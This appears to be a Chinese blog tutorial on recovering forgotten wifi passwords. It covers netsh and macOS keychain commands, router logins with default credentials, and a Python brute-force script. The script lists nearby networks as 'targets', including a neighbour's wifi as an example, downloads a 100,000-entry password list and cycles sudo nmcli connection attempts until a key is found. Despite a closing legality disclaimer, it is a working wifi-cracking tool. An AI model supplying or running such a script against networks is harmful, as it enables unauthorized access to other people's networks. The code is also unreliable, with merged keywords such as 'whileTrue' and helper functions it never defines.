用Python脚本找回忘记的wifi密码
可以用Python写个简单脚本,帮你把wifi密码找回来!这招主要是针对你有路由器管理权限或者电脑存过密码的情况,纯为学习和自救用,别拿去干坏事哦!
第一种方法
检查电脑保存的wifi密码你的电脑如果连过wifi,通常会把密码存在系统里,咱们先试试把它挖出来!
Windows系统:
1. 打开“命令提示符”(按Win+R,输入cmd回车)。
2. 输入命令:netsh wlan show profile。这会列出你电脑连过的所有wifi名字。
3. 找到你想查的wifi名字,再输入:netsh wlan show profile name="wifi名字"key=clear(把“wifi名字”换成实际的SSID)。
4. 看“关键内容”那一行,密码就藏在那儿!
Mac系统:
1. 打开“终端”(Terminal)。
2. 输入:security find-generic-password-ga"wifi名字" |grep"password:"(把“wifi名字”换成你的wifi名)。
3. 系统会显示密码,可能需要你输入电脑的管理员密码确认。
Python脚本辅助:
1. 如果手动查嫌麻烦,可以用Python脚本自动抓取。装个subprocess模块(Python自带),写几行代码调用上面的命令,自动提取wifi密码。
2. 比如,脚本可以跑netsh命令,解析输出,找出密码,存到文件里,省得你手动翻。
第二种方法
找到路由器管理地址:
1. 路由器背面通常有标签,写着管理地址(像192.168.0.1或192.168.1.1)和默认账号密码(比如admin/admin)。
2. 在浏览器输入这个地址,登录路由器后台。
3. 进入“无线设置”或“wifi设置”模块,找到你的wifi名称(SSID)。
4. 密码通常在“无线安全”或“加密设置”里,直接显示,或者点“显示密码”就能看到。
常见问题:
-- 如果忘了管理密码,试试默认密码(路由器标签上写的)。
--实在不行,长按路由器上的“Reset”键5-10秒,重置路由器(注意:这会清空所有设置,慎用!),然后用默认账号密码登录,重新设置wifi密码。
第三种方法
用Python脚本暴力猜密码(备用方案)如果上面方法都不行,比如你没路由器权限,电脑也没存密码,可以试试“暴力猜密码”,这招得有点耐心,而且只对弱密码管用!咱们用Python来实现,模拟高手操作。
装工具包:
用Python的ssid库(先跑pip install ssid装好),扫描附近wifi,把名字(SSID)和加密类型存到networks列表。
第一步:扫描附近的wifi信号要找回wifi密码,先得知道附近有哪些wifi信号。咱们写个小函数,名叫display_targets,来抓wifi列表。
def display_targets(networks, security_type):
print("Select a target: \n")
rows, columns = os.popen('stty size', 'r').read().split()
for i in range(len(networks)):
width = len(str(str(i+1)+". "+networks[i]+security_type[i]))+2
spacer = " "
if (int(columns) >= 100):
calc = int((int(columns)-int(width))*0.75)
else:
calc = int(columns)-int(width)
for index in range(calc):
spacer += "."
if index == (calc-1):
spacer += " "
print(str(i+1)+". "+networks[i]+spacer+security_type[i])
这段代码会列出wifi名字,比如“隔壁老王wifi”,还带上加密类型(WPA2啥的),看着就一目了然!
运行后,你会看到一个列表,标着序号和wifi名字,方便你挑想找密码的那个wifi。
第二步:选定目标wifi找到wifi列表后,挑一个想找回密码的wifi。这步超简单,就是Python基础操作。
def prompt_for_target_choice(max):
whileTrue:
try:
selected = int(input("\nEnter number of target: "))
if(selected >= 1and selected <= max):
return selected - 1
except Exception as e:
ignore = e
print("Invalid choice: Please pick a number between 1 and " + str(max))
第三步:暴力猜密码找回选好wifi后,咋找密码?如果电脑没存密码,或者你没路由器权限,可以试试“暴力猜密码”。这招对弱密码(像12345678)效果好,咱们用Python来实现!
--准备密码字典:从网上找个常用密码列表,比如10万个wifi常用密码
def brute_force(selected_network, passwords, args):
for password in passwords:
# necessary due to NetworkManager restart after unsuccessful attempt at login
password = password.strip()
# when when obtain password from url we need the decode utf-8 however we doesnt when reading from file
if isinstance(password, str):
decoded_line = password
else:
decoded_line = password.decode("utf-8")
if args.verbose isTrue:
print(bcolors.HEADER+"** TESTING **: with password '" +
decoded_line+"'"+bcolors.ENDC)
if (len(decoded_line) >= 8):
time.sleep(3)
creds = os.popen("sudo nmcli dev wifi connect " +
selected_network+" password "+decoded_line).read()
# print(creds)
if ("Error:"in creds.strip()):
if args.verbose isTrue:
print(bcolors.FAIL+"** TESTING **: password '" +
decoded_line+"' failed."+bcolors.ENDC)
else:
sys.exit(bcolors.OKGREEN+"** KEY FOUND! **: password '" +
decoded_line+"' succeeded."+bcolors.ENDC)
else:
if args.verbose isTrue:
print(bcolors.OKCYAN+"** TESTING **: password '" +
decoded_line+"' too short, passing."+bcolors.ENDC)
print(bcolors.FAIL+"** RESULTS **: All passwords failed :("+bcolors.ENDC)
颜色提示:紫色表示“正在试”,红色表示“密码不对”,绿色表示“找到密码啦”!
--把所有函数串联起来
def main():
require_root()
args = argument_parser()
# The user chose to supplied their own url
if args.url isnotNone:
passwords = fetch_password_from_url(args.url)
# user elect to read passwords form a file
elif args.file isnotNone:
file = open(args.file, "r")
passwords = file.readlines()
ifnot passwords:
print("Password file cannot be empty!")
exit(0)
file.close()
else:
# fallback to the default list as the user didnt supplied a password list
default_url = "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Passwords/Common-Credentials/10-million-password-list-top-100000.txt"
passwords = fetch_password_from_url(default_url)
# grabbing the list of the network ssids
func_call = start(1)
networks = func_call[0]
security_type = func_call[1]
ifnot networks:
print("No networks found!")
sys.exit(-1)
display_targets(networks, security_type)
max = len(networks)
pick = prompt_for_target_choice(max)
target = networks[pick]
print("\nWifi-bf is running. If you would like to see passwords being tested in realtime, enable the [--verbose] flag at start.")
brute_force(target, passwords, args)
注意事项
1. 合法性:这教程只用于找回你有权访问的wifi密码,比如自家或办公室的,别用来破解别人的wifi,那是违法的!
2. 成功率:暴力猜密码对复杂密码(像16位随机字符)基本没戏,只适合简单密码(比如12345678)。
3. 备份设置:重置路由器前,记得备份重要数据,因为重置会清空所有配置。